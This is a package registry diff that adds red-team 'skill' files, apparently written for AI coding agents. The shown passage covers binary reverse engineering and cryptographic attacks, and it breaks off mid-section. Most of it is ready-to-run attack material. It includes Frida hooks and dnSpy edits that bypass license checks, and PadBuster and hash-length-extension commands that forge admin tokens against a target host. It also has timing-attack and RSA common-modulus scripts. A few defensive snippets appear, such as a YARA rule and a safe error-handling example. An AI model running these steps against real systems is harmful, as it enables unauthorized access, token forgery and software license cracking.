rtexit-method 0.1.4 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
package/package.json
CHANGED
|
@@ -0,0 +1,304 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-binary-reverse-engineering
|
|
3
|
+
description: "Binary reverse engineering skill for authorized red team engagements. Ghidra and IDA Pro workflow for decompilation, x64dbg dynamic analysis, .NET assembly decompilation with dnSpy/ILSpy, Java JAR analysis, ELF binary analysis, finding hardcoded credentials and API keys in binaries, license check bypassing, and understanding proprietary protocol implementations. Use when analyzing compiled applications, firmware, or custom protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-binary-reverse-engineering — Binary Analysis & Reverse Engineering
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Binary reverse engineering analyzes compiled executables to understand their behavior without source code. In red team engagements, this discovers hardcoded credentials, hidden functionality, bypassable authentication, and proprietary protocol weaknesses.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Initial Triage (Before Disassembly)
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# File type identification
|
|
18
|
+
file target_binary
|
|
19
|
+
# ELF 64-bit LSB executable → Linux binary
|
|
20
|
+
# PE32+ executable → Windows binary
|
|
21
|
+
# Mach-O → macOS binary
|
|
22
|
+
|
|
23
|
+
# Basic string extraction (fastest wins)
|
|
24
|
+
strings target_binary | grep -iE "password|secret|key|token|admin|api|url|http"
|
|
25
|
+
strings -n 8 target_binary | grep -iE "BEGIN.*KEY|PRIVATE|jwt"
|
|
26
|
+
|
|
27
|
+
# Detect packing/obfuscation
|
|
28
|
+
die target_binary # Detect-It-Easy
|
|
29
|
+
upx -t target_binary # Check if UPX packed
|
|
30
|
+
entropy target_binary # High entropy (>7.5) = encrypted/packed sections
|
|
31
|
+
|
|
32
|
+
# Symbols and imports
|
|
33
|
+
nm target_binary # Symbol table (if not stripped)
|
|
34
|
+
objdump -d target_binary # Disassembly
|
|
35
|
+
ldd target_binary # Dynamic library dependencies
|
|
36
|
+
readelf -a target_binary # Full ELF headers
|
|
37
|
+
|
|
38
|
+
# PE analysis (Windows)
|
|
39
|
+
pecheck target.exe
|
|
40
|
+
dumpbin /imports target.exe # Imported functions
|
|
41
|
+
dumpbin /exports target.exe # Exported functions
|
|
42
|
+
|
|
43
|
+
# Quick wins: look for these imports
|
|
44
|
+
# CreateProcess, WinExec, ShellExecute = code execution
|
|
45
|
+
# CryptDecrypt, CryptImportKey = crypto operations
|
|
46
|
+
# InternetOpenUrl, HttpSendRequest = network communication
|
|
47
|
+
# RegOpenKey, RegSetValue = registry operations
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Phase 2 — Static Analysis with Ghidra
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Install Ghidra
|
|
56
|
+
# https://ghidra-sre.org → download → ./ghidraRun
|
|
57
|
+
|
|
58
|
+
# Headless analysis (scriptable)
|
|
59
|
+
./analyzeHeadless /tmp/ghidra_project MyProject \
|
|
60
|
+
-import target_binary \
|
|
61
|
+
-postScript PrintStrings.py \
|
|
62
|
+
-deleteProject
|
|
63
|
+
|
|
64
|
+
# Key Ghidra workflow:
|
|
65
|
+
# 1. Import binary → Auto-analyze
|
|
66
|
+
# 2. Symbol Tree → Functions → main()
|
|
67
|
+
# 3. Decompiler window → clean C-like pseudocode
|
|
68
|
+
# 4. Search → Memory → search for strings (hardcoded strings)
|
|
69
|
+
# 5. References → find all callers of crypto/auth functions
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
```python
|
|
73
|
+
# Ghidra script: find hardcoded strings (run in Script Manager)
|
|
74
|
+
from ghidra.app.script import GhidraScript
|
|
75
|
+
from ghidra.program.model.data import StringDataType
|
|
76
|
+
|
|
77
|
+
class FindSecrets(GhidraScript):
|
|
78
|
+
def run(self):
|
|
79
|
+
keywords = ["password", "secret", "api_key", "token", "admin"]
|
|
80
|
+
for ref in currentProgram.getReferenceManager().getReferenceIterator(None):
|
|
81
|
+
addr = ref.getToAddress()
|
|
82
|
+
data = getDataAt(addr)
|
|
83
|
+
if data and isinstance(data.getDataType(), StringDataType):
|
|
84
|
+
val = str(data.getValue()).lower()
|
|
85
|
+
for kw in keywords:
|
|
86
|
+
if kw in val:
|
|
87
|
+
print(f"[SECRET] {addr}: {data.getValue()}")
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
## Phase 3 — .NET Binary Analysis (dnSpy / ILSpy)
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# .NET binaries contain IL bytecode → decompile to near-original C#
|
|
96
|
+
|
|
97
|
+
# dnSpy (best for .NET — also debugger)
|
|
98
|
+
# https://github.com/dnSpy/dnSpy
|
|
99
|
+
# Open .exe/.dll → full source code decompilation
|
|
100
|
+
|
|
101
|
+
# ILSpy (CLI)
|
|
102
|
+
ilspycmd target.exe -o ./decompiled/
|
|
103
|
+
|
|
104
|
+
# dotPeek (JetBrains — free)
|
|
105
|
+
# Open → decompile → navigate class hierarchy
|
|
106
|
+
|
|
107
|
+
# What to look for in decompiled .NET:
|
|
108
|
+
grep -r "password\|connectionString\|ApiKey\|secret" ./decompiled/ --include="*.cs"
|
|
109
|
+
grep -r "hardcoded\|TODO.*password\|admin123" ./decompiled/
|
|
110
|
+
|
|
111
|
+
# .NET config files (often not encrypted)
|
|
112
|
+
cat ./decompiled/App.config
|
|
113
|
+
cat web.config | grep -i "password\|connectionString"
|
|
114
|
+
|
|
115
|
+
# Assembly manipulation: patch license check
|
|
116
|
+
# 1. Open in dnSpy
|
|
117
|
+
# 2. Find: IsLicensed() or CheckLicense()
|
|
118
|
+
# 3. Right-click method → Edit Method
|
|
119
|
+
# 4. Change return false → return true
|
|
120
|
+
# 5. File → Save Module
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 4 — Java JAR Analysis
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Decompile JAR
|
|
129
|
+
# jadx — best Java decompiler
|
|
130
|
+
jadx -d ./decompiled_java/ target.jar
|
|
131
|
+
# Browse ./decompiled_java/ as Java source
|
|
132
|
+
|
|
133
|
+
# procyon (alternative)
|
|
134
|
+
java -jar procyon-decompiler.jar target.jar -o ./decompiled/
|
|
135
|
+
|
|
136
|
+
# Look for hardcoded secrets
|
|
137
|
+
grep -r "password\|apiKey\|secret\|jdbc:" ./decompiled_java/ --include="*.java"
|
|
138
|
+
|
|
139
|
+
# Extract embedded resources
|
|
140
|
+
jar xf target.jar
|
|
141
|
+
# Inspect: META-INF/, resources/, application.properties
|
|
142
|
+
|
|
143
|
+
cat application.properties | grep -i "password\|secret\|datasource"
|
|
144
|
+
cat META-INF/MANIFEST.MF # Entry point class
|
|
145
|
+
|
|
146
|
+
# Decompile Android APK (Dalvik bytecode)
|
|
147
|
+
jadx -d ./apk_decompiled/ app.apk
|
|
148
|
+
grep -r "apiKey\|password\|secret\|BuildConfig" ./apk_decompiled/
|
|
149
|
+
cat ./apk_decompiled/resources/res/values/strings.xml | grep -i "key\|token\|password"
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## Phase 5 — Dynamic Analysis with x64dbg
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
# x64dbg: Windows debugger for 32/64-bit binaries
|
|
158
|
+
# https://x64dbg.com
|
|
159
|
+
|
|
160
|
+
# Workflow:
|
|
161
|
+
# 1. Open target in x64dbg
|
|
162
|
+
# 2. Run → break at entry point
|
|
163
|
+
# 3. Search → All User Modules → String References → search "password"
|
|
164
|
+
# 4. Set breakpoint at identified function → Run → inspect values
|
|
165
|
+
|
|
166
|
+
# Key techniques:
|
|
167
|
+
# Patch jump: change JE (74) to JMP (EB) to bypass license check
|
|
168
|
+
# Patch comparison: change CMP result to always succeed
|
|
169
|
+
# Memory view: inspect decrypted strings at runtime
|
|
170
|
+
# API logger: log all WinAPI calls → find authentication logic
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
```python
|
|
174
|
+
# Automated dynamic analysis with frida (no source needed)
|
|
175
|
+
# Hook any function by address or name
|
|
176
|
+
|
|
177
|
+
import frida, sys
|
|
178
|
+
|
|
179
|
+
script_code = """
|
|
180
|
+
// Hook license check function at address 0x401234
|
|
181
|
+
Interceptor.attach(ptr("0x401234"), {
|
|
182
|
+
onEnter: function(args) {
|
|
183
|
+
console.log("[*] License check called");
|
|
184
|
+
console.log(" Arg 0:", args[0].readUtf8String());
|
|
185
|
+
},
|
|
186
|
+
onLeave: function(retval) {
|
|
187
|
+
console.log("[*] License check returned:", retval);
|
|
188
|
+
retval.replace(1); // Force return true (bypass)
|
|
189
|
+
}
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
// Hook all calls to strcmp (find credential comparisons)
|
|
193
|
+
Interceptor.attach(Module.findExportByName(null, "strcmp"), {
|
|
194
|
+
onEnter: function(args) {
|
|
195
|
+
var s1 = args[0].readUtf8String();
|
|
196
|
+
var s2 = args[1].readUtf8String();
|
|
197
|
+
if (s1 && s2 && (s1.length > 3 || s2.length > 3)) {
|
|
198
|
+
console.log("[strcmp]", s1, "vs", s2);
|
|
199
|
+
}
|
|
200
|
+
}
|
|
201
|
+
});
|
|
202
|
+
"""
|
|
203
|
+
|
|
204
|
+
process = frida.spawn(["./target_binary"])
|
|
205
|
+
session = frida.attach(process)
|
|
206
|
+
script = session.create_script(script_code)
|
|
207
|
+
script.load()
|
|
208
|
+
frida.resume(process)
|
|
209
|
+
sys.stdin.read()
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Phase 6 — Finding Hardcoded Credentials
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# Automated binary secret scanning
|
|
218
|
+
# trufflehog (supports binaries)
|
|
219
|
+
trufflehog filesystem ./target_directory/ --json | jq '.SourceMetadata.Data.Filesystem.file + ": " + .Raw'
|
|
220
|
+
|
|
221
|
+
# YARA rules for credential patterns in binaries
|
|
222
|
+
cat > secrets.yar << 'EOF'
|
|
223
|
+
rule HardcodedPassword {
|
|
224
|
+
strings:
|
|
225
|
+
$pass1 = "password" nocase
|
|
226
|
+
$pass2 = "passwd" nocase
|
|
227
|
+
$key1 = "api_key" nocase
|
|
228
|
+
$key2 = "apikey" nocase
|
|
229
|
+
$aws = /AKIA[0-9A-Z]{16}/
|
|
230
|
+
$jwt = /eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/
|
|
231
|
+
condition:
|
|
232
|
+
any of them
|
|
233
|
+
}
|
|
234
|
+
EOF
|
|
235
|
+
yara -r secrets.yar ./target_binary
|
|
236
|
+
|
|
237
|
+
# binwalk — extract embedded content from binaries
|
|
238
|
+
binwalk -e target_firmware.bin
|
|
239
|
+
# Extracts: filesystems, compressed data, certificates, private keys
|
|
240
|
+
ls _target_firmware.bin.extracted/
|
|
241
|
+
|
|
242
|
+
# floss — deobfuscate strings in malware/obfuscated binaries
|
|
243
|
+
floss target.exe | grep -iE "http|password|key|token"
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Phase 7 — Protocol Reverse Engineering
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Capture traffic from binary + analyze
|
|
252
|
+
# 1. Run binary under strace (Linux)
|
|
253
|
+
strace -e trace=network,read,write -xx ./target_binary 2>&1 | grep -A2 "sendto\|write"
|
|
254
|
+
|
|
255
|
+
# 2. Capture with Wireshark/tcpdump
|
|
256
|
+
tcpdump -i lo -w capture.pcap &
|
|
257
|
+
./target_binary
|
|
258
|
+
# Analyze capture.pcap in Wireshark
|
|
259
|
+
|
|
260
|
+
# 3. Hook socket calls with frida
|
|
261
|
+
cat > proto_hook.js << 'EOF'
|
|
262
|
+
var send = Module.findExportByName("libc.so.6", "send");
|
|
263
|
+
Interceptor.attach(send, {
|
|
264
|
+
onEnter: function(args) {
|
|
265
|
+
var len = args[2].toInt32();
|
|
266
|
+
if (len > 0) {
|
|
267
|
+
console.log("[send] " + len + " bytes:");
|
|
268
|
+
console.log(hexdump(args[1], {length: Math.min(len, 256)}));
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
});
|
|
272
|
+
EOF
|
|
273
|
+
frida -l proto_hook.js ./target_binary
|
|
274
|
+
|
|
275
|
+
# 4. Identify protocol fields
|
|
276
|
+
# - Fixed headers (magic bytes)
|
|
277
|
+
# - Length fields
|
|
278
|
+
# - Checksum/CRC fields
|
|
279
|
+
# - Encrypted vs cleartext regions
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
---
|
|
283
|
+
|
|
284
|
+
## Skill Levels
|
|
285
|
+
|
|
286
|
+
**BEGINNER:** strings + grep for credentials · jadx for .NET/Java · floss for obfuscated strings
|
|
287
|
+
|
|
288
|
+
**INTERMEDIATE:** Ghidra decompilation · x64dbg breakpoints · Frida for dynamic hooking · .NET patching with dnSpy
|
|
289
|
+
|
|
290
|
+
**ADVANCED:** Custom Ghidra scripts · Protocol reverse engineering · Anti-debug bypass · Binary patching
|
|
291
|
+
|
|
292
|
+
**EXPERT:** Firmware analysis with binwalk · Custom deobfuscation · Vulnerability research from decompiled code · 0-day discovery
|
|
293
|
+
|
|
294
|
+
---
|
|
295
|
+
|
|
296
|
+
## References
|
|
297
|
+
|
|
298
|
+
- Ghidra: https://ghidra-sre.org
|
|
299
|
+
- x64dbg: https://x64dbg.com
|
|
300
|
+
- jadx: https://github.com/skylot/jadx
|
|
301
|
+
- dnSpy: https://github.com/dnSpy/dnSpy
|
|
302
|
+
- Frida: https://frida.re
|
|
303
|
+
- Practical Binary Analysis (book): https://nostarch.com/binaryanalysis
|
|
304
|
+
- MITRE T1027: https://attack.mitre.org/techniques/T1027/
|
|
@@ -0,0 +1,350 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-crypto-attacks
|
|
3
|
+
description: "Cryptographic attack skill for authorized engagements. CBC padding oracle exploitation, ECB block manipulation and cut-paste attacks, hash length extension attacks, weak PRNG exploitation, timing attacks on authentication, MD5/SHA1 collision exploitation, RSA common modulus and small exponent attacks, and identifying custom/broken encryption schemes. Use when testing cryptographic implementations in web apps, APIs, or proprietary protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-crypto-attacks — Cryptographic Vulnerability Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Cryptographic vulnerabilities arise from using broken algorithms, incorrect modes of operation, weak key generation, or flawed implementations. In web applications and APIs, these manifest as exploitable oracle attacks, forgeable tokens, and bypassable authentication.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Attack 1 — CBC Padding Oracle
|
|
15
|
+
|
|
16
|
+
**Condition:** Application decrypts user-supplied ciphertext and returns different errors for padding failures vs decryption failures (even via timing differences).
|
|
17
|
+
|
|
18
|
+
**Impact:** Decrypt any ciphertext block-by-block without the key. Forge arbitrary ciphertext.
|
|
19
|
+
|
|
20
|
+
```python
|
|
21
|
+
# Manual padding oracle concept
|
|
22
|
+
# CBC decryption: P[i] = D(C[i]) XOR C[i-1]
|
|
23
|
+
# Padding oracle: if we flip bytes in C[i-1], and server says "padding valid"
|
|
24
|
+
# → we can deduce D(C[i]) byte by byte
|
|
25
|
+
|
|
26
|
+
# Tool: PadBuster
|
|
27
|
+
padbuster https://target.com/profile?data=BASE64_ENCRYPTED_DATA BASE64_ENCRYPTED_DATA 8 \
|
|
28
|
+
-encoding 0 \
|
|
29
|
+
-error "Invalid padding"
|
|
30
|
+
# 8 = block size (AES = 16, DES = 8)
|
|
31
|
+
|
|
32
|
+
# Decrypt existing ciphertext
|
|
33
|
+
padbuster https://target.com/api BASE64_CIPHERTEXT 16 -encoding 2
|
|
34
|
+
|
|
35
|
+
# Forge new plaintext (e.g., change role=user to role=admin)
|
|
36
|
+
padbuster https://target.com/api BASE64_CIPHERTEXT 16 \
|
|
37
|
+
-encoding 2 \
|
|
38
|
+
-plaintext "role=admin&user=attacker"
|
|
39
|
+
|
|
40
|
+
# Tool: bit-flipper / padding-oracle-attack
|
|
41
|
+
pip3 install padding-oracle-attacker
|
|
42
|
+
python3 -m padding_oracle_attacker decrypt \
|
|
43
|
+
--url "https://target.com/api?token={}" \
|
|
44
|
+
--ciphertext "BASE64_TOKEN" \
|
|
45
|
+
--block-size 16 \
|
|
46
|
+
--error "Invalid token"
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
**Detection in source code:**
|
|
50
|
+
```python
|
|
51
|
+
# VULNERABLE — different exceptions leak oracle
|
|
52
|
+
try:
|
|
53
|
+
plaintext = cipher.decrypt(ciphertext)
|
|
54
|
+
except PaddingError:
|
|
55
|
+
return "Invalid padding" # ← ORACLE
|
|
56
|
+
except DecryptionError:
|
|
57
|
+
return "Decryption failed" # ← ORACLE (different response = oracle)
|
|
58
|
+
|
|
59
|
+
# SECURE — same response always
|
|
60
|
+
try:
|
|
61
|
+
plaintext = cipher.decrypt(ciphertext)
|
|
62
|
+
except Exception:
|
|
63
|
+
return "Invalid token" # Always same response
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## Attack 2 — ECB Block Manipulation (Cut & Paste)
|
|
69
|
+
|
|
70
|
+
**Condition:** Application uses AES-ECB mode (identical plaintext blocks → identical ciphertext blocks).
|
|
71
|
+
|
|
72
|
+
**Impact:** Rearrange, duplicate, or substitute encrypted blocks to forge arbitrary plaintexts.
|
|
73
|
+
|
|
74
|
+
```python
|
|
75
|
+
# Detect ECB: send repeated plaintext, check for repeated blocks in ciphertext
|
|
76
|
+
import requests, base64
|
|
77
|
+
|
|
78
|
+
def detect_ecb(ciphertext_b64):
|
|
79
|
+
ct = base64.b64decode(ciphertext_b64)
|
|
80
|
+
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
|
|
81
|
+
return len(blocks) != len(set(blocks)) # True = ECB detected
|
|
82
|
+
|
|
83
|
+
# Test: register with username "AAAAAAAAAAAAAAAA" (16 A's)
|
|
84
|
+
# If ciphertext has repeated 16-byte blocks → ECB mode
|
|
85
|
+
|
|
86
|
+
# ECB Cut-and-Paste Attack Example:
|
|
87
|
+
# Suppose encrypted cookie format: role=user&admin=false
|
|
88
|
+
# Block 1 (bytes 0-15): "role=user&admin="
|
|
89
|
+
# Block 2 (bytes 16-31): "false___________" (padded)
|
|
90
|
+
|
|
91
|
+
# Step 1: craft input to push "admin=true" to a clean block boundary
|
|
92
|
+
# Step 2: capture that block
|
|
93
|
+
# Step 3: substitute it into another session's cookie
|
|
94
|
+
|
|
95
|
+
# Automated with ecb-cpa tool
|
|
96
|
+
pip3 install ecb_cpa
|
|
97
|
+
python3 ecb_cpa.py --url "https://target.com/encrypt" \
|
|
98
|
+
--param "username" \
|
|
99
|
+
--target "admin=true"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## Attack 3 — Hash Length Extension
|
|
105
|
+
|
|
106
|
+
**Condition:** `MAC = hash(secret + message)` — attacker knows hash and message length but not secret.
|
|
107
|
+
|
|
108
|
+
**Impact:** Append data to message and compute valid MAC without knowing the secret.
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# Tools
|
|
112
|
+
pip3 install hashpumpy
|
|
113
|
+
# Or: hashpump binary
|
|
114
|
+
|
|
115
|
+
# Example: API uses HMAC = MD5(secret + "user=alice")
|
|
116
|
+
# We know the hash and want to forge: "user=alice&admin=true"
|
|
117
|
+
|
|
118
|
+
python3 << 'EOF'
|
|
119
|
+
import hashpumpy
|
|
120
|
+
|
|
121
|
+
original_data = b"user=alice"
|
|
122
|
+
original_hash = "a3f8c2d1..." # known hash from response
|
|
123
|
+
secret_length = 16 # guess (try 8, 12, 16, 20, 24, 32)
|
|
124
|
+
data_to_append = b"&admin=true"
|
|
125
|
+
|
|
126
|
+
new_hash, new_data = hashpumpy.hashpump(
|
|
127
|
+
original_hash,
|
|
128
|
+
original_data,
|
|
129
|
+
data_to_append,
|
|
130
|
+
secret_length
|
|
131
|
+
)
|
|
132
|
+
print(f"New hash: {new_hash}")
|
|
133
|
+
print(f"New data: {new_data.hex()}")
|
|
134
|
+
# Send new_data as message + new_hash as MAC
|
|
135
|
+
EOF
|
|
136
|
+
|
|
137
|
+
# hashpump CLI
|
|
138
|
+
hashpump -s "KNOWN_HASH" -d "KNOWN_DATA" -a "&admin=true" -k 16
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Attack 4 — Timing Attacks
|
|
144
|
+
|
|
145
|
+
**Condition:** Authentication comparison uses non-constant-time string comparison.
|
|
146
|
+
|
|
147
|
+
```python
|
|
148
|
+
# Detection: measure response time for known-bad vs close-to-valid tokens
|
|
149
|
+
import requests, time, statistics
|
|
150
|
+
|
|
151
|
+
def measure_timing(token):
|
|
152
|
+
times = []
|
|
153
|
+
for _ in range(10):
|
|
154
|
+
start = time.perf_counter()
|
|
155
|
+
requests.get(f"https://target.com/api",
|
|
156
|
+
headers={"Authorization": f"Bearer {token}"})
|
|
157
|
+
times.append(time.perf_counter() - start)
|
|
158
|
+
return statistics.mean(times)
|
|
159
|
+
|
|
160
|
+
# Test tokens that differ at position 0, 1, 2...
|
|
161
|
+
# If correct first byte takes longer → timing leak
|
|
162
|
+
baseline = measure_timing("AAAAAAAAAAAAAAAA")
|
|
163
|
+
for byte in "0123456789abcdef":
|
|
164
|
+
t = measure_timing(byte + "AAAAAAAAAAAAAAA")
|
|
165
|
+
if t > baseline + 0.005: # 5ms difference
|
|
166
|
+
print(f"Correct first byte: {byte}")
|
|
167
|
+
|
|
168
|
+
# Tool: timing-attack
|
|
169
|
+
pip3 install timing-attack
|
|
170
|
+
timing-attack "https://target.com/api?token=PAYLOAD" --payload CHARSET
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## Attack 5 — Weak PRNG / Predictable Tokens
|
|
176
|
+
|
|
177
|
+
```python
|
|
178
|
+
# Test for predictable tokens — collect multiple and analyze
|
|
179
|
+
|
|
180
|
+
import requests, time
|
|
181
|
+
|
|
182
|
+
tokens = []
|
|
183
|
+
for _ in range(20):
|
|
184
|
+
r = requests.get("https://target.com/reset-password?email=test@test.com")
|
|
185
|
+
# Extract token from email or response
|
|
186
|
+
tokens.append(extract_token(r))
|
|
187
|
+
time.sleep(0.1)
|
|
188
|
+
|
|
189
|
+
# Check for sequential tokens
|
|
190
|
+
if all(int(t, 16) == int(tokens[0], 16) + i for i, t in enumerate(tokens)):
|
|
191
|
+
print("SEQUENTIAL TOKENS DETECTED")
|
|
192
|
+
|
|
193
|
+
# Check for timestamp-based tokens
|
|
194
|
+
import hashlib
|
|
195
|
+
ts = int(time.time())
|
|
196
|
+
for delta in range(-5, 5):
|
|
197
|
+
candidate = hashlib.md5(str(ts + delta).encode()).hexdigest()
|
|
198
|
+
if candidate in tokens:
|
|
199
|
+
print(f"TIMESTAMP-BASED TOKEN: offset={delta}")
|
|
200
|
+
|
|
201
|
+
# Tool: OWASP TokenAnalyzer
|
|
202
|
+
# Tool: Burp Suite Sequencer (statistical analysis of token randomness)
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## Attack 6 — RSA Common Modulus Attack
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# If two RSA public keys share the same modulus (n) but different exponents (e1, e2)
|
|
211
|
+
# And the same message m is encrypted with both:
|
|
212
|
+
# C1 = m^e1 mod n, C2 = m^e2 mod n
|
|
213
|
+
# → Recover m using extended Euclidean algorithm
|
|
214
|
+
|
|
215
|
+
python3 << 'EOF'
|
|
216
|
+
from math import gcd
|
|
217
|
+
|
|
218
|
+
def extended_gcd(a, b):
|
|
219
|
+
if b == 0: return a, 1, 0
|
|
220
|
+
g, x, y = extended_gcd(b, a % b)
|
|
221
|
+
return g, y, x - (a // b) * y
|
|
222
|
+
|
|
223
|
+
def common_modulus_attack(n, e1, e2, c1, c2):
|
|
224
|
+
g, a, b = extended_gcd(e1, e2)
|
|
225
|
+
if g != 1: return None # gcd must be 1
|
|
226
|
+
if a < 0:
|
|
227
|
+
c1 = pow(c1, -1, n) # modular inverse
|
|
228
|
+
a = -a
|
|
229
|
+
if b < 0:
|
|
230
|
+
c2 = pow(c2, -1, n)
|
|
231
|
+
b = -b
|
|
232
|
+
return pow(c1, a, n) * pow(c2, b, n) % n
|
|
233
|
+
|
|
234
|
+
# Usage
|
|
235
|
+
n = int("MODULUS_HEX", 16)
|
|
236
|
+
e1 = 65537
|
|
237
|
+
e2 = 17
|
|
238
|
+
c1 = int("CIPHERTEXT_1_HEX", 16)
|
|
239
|
+
c2 = int("CIPHERTEXT_2_HEX", 16)
|
|
240
|
+
m = common_modulus_attack(n, e1, e2, c1, c2)
|
|
241
|
+
print(f"Recovered plaintext: {bytes.fromhex(hex(m)[2:])}")
|
|
242
|
+
EOF
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## Attack 7 — Identify Broken / Custom Encryption
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
# Cipher identification
|
|
251
|
+
pip3 install pycipher hashid
|
|
252
|
+
|
|
253
|
+
# Identify hash type
|
|
254
|
+
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
|
|
255
|
+
# Output: [+] MD5
|
|
256
|
+
|
|
257
|
+
# Check for ROT13 / Caesar / XOR
|
|
258
|
+
python3 -c "
|
|
259
|
+
import base64
|
|
260
|
+
|
|
261
|
+
data = 'VGhpcyBpcyBhIHRlc3Q=' # suspect encoded string
|
|
262
|
+
print('base64:', base64.b64decode(data))
|
|
263
|
+
|
|
264
|
+
# XOR with single byte
|
|
265
|
+
raw = bytes.fromhex('0a1b2c3d')
|
|
266
|
+
for key in range(256):
|
|
267
|
+
result = bytes([b ^ key for b in raw])
|
|
268
|
+
if all(32 <= b < 127 for b in result):
|
|
269
|
+
print(f'XOR key {key}: {result}')
|
|
270
|
+
"
|
|
271
|
+
|
|
272
|
+
# Frequency analysis (classical ciphers)
|
|
273
|
+
python3 << 'EOF'
|
|
274
|
+
from collections import Counter
|
|
275
|
+
cipher = "GUVF VF N GRFG"
|
|
276
|
+
freq = Counter(cipher.replace(' ', ''))
|
|
277
|
+
print("Most common:", freq.most_common(5))
|
|
278
|
+
# E is most common in English → map most common cipher char to E
|
|
279
|
+
# Try ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
|
|
280
|
+
EOF
|
|
281
|
+
|
|
282
|
+
# Tool: CyberChef (web) for automated identification
|
|
283
|
+
# Tool: dcode.fr for classical cipher identification
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## Attack 8 — MD5/SHA1 Collision Exploitation
|
|
289
|
+
|
|
290
|
+
```bash
|
|
291
|
+
# MD5 collision: two different inputs with same hash
|
|
292
|
+
# shattered.io: SHA1 collision
|
|
293
|
+
|
|
294
|
+
# If app uses MD5 for file integrity or token deduplication:
|
|
295
|
+
# Download collision pair from https://www.mscs.dal.ca/~selinger/md5collision/
|
|
296
|
+
|
|
297
|
+
# Demonstrate: same MD5, different content
|
|
298
|
+
md5sum message1.bin message2.bin
|
|
299
|
+
# Both output same hash → integrity check bypassed
|
|
300
|
+
|
|
301
|
+
# SHA1 collision (shattered.io)
|
|
302
|
+
curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf
|
|
303
|
+
curl -o shattered-2.pdf https://shattered.io/static/shattered-2.pdf
|
|
304
|
+
sha1sum shattered-1.pdf shattered-2.pdf
|
|
305
|
+
# Same SHA1 → demonstrates file signing bypass
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
---
|
|
309
|
+
|
|
310
|
+
## Finding Documentation
|
|
311
|
+
|
|
312
|
+
```
|
|
313
|
+
Finding: CBC Padding Oracle
|
|
314
|
+
Severity: HIGH (CVSS 7.5)
|
|
315
|
+
CWE: CWE-649 (Reliance on Obfuscation or Encryption without Integrity Check)
|
|
316
|
+
MITRE: T1600 (Weaken Encryption)
|
|
317
|
+
|
|
318
|
+
Evidence:
|
|
319
|
+
- Different HTTP responses for valid vs invalid padding
|
|
320
|
+
- Decrypted session token contents (demonstrate impact)
|
|
321
|
+
- Forged admin session token
|
|
322
|
+
|
|
323
|
+
Remediation:
|
|
324
|
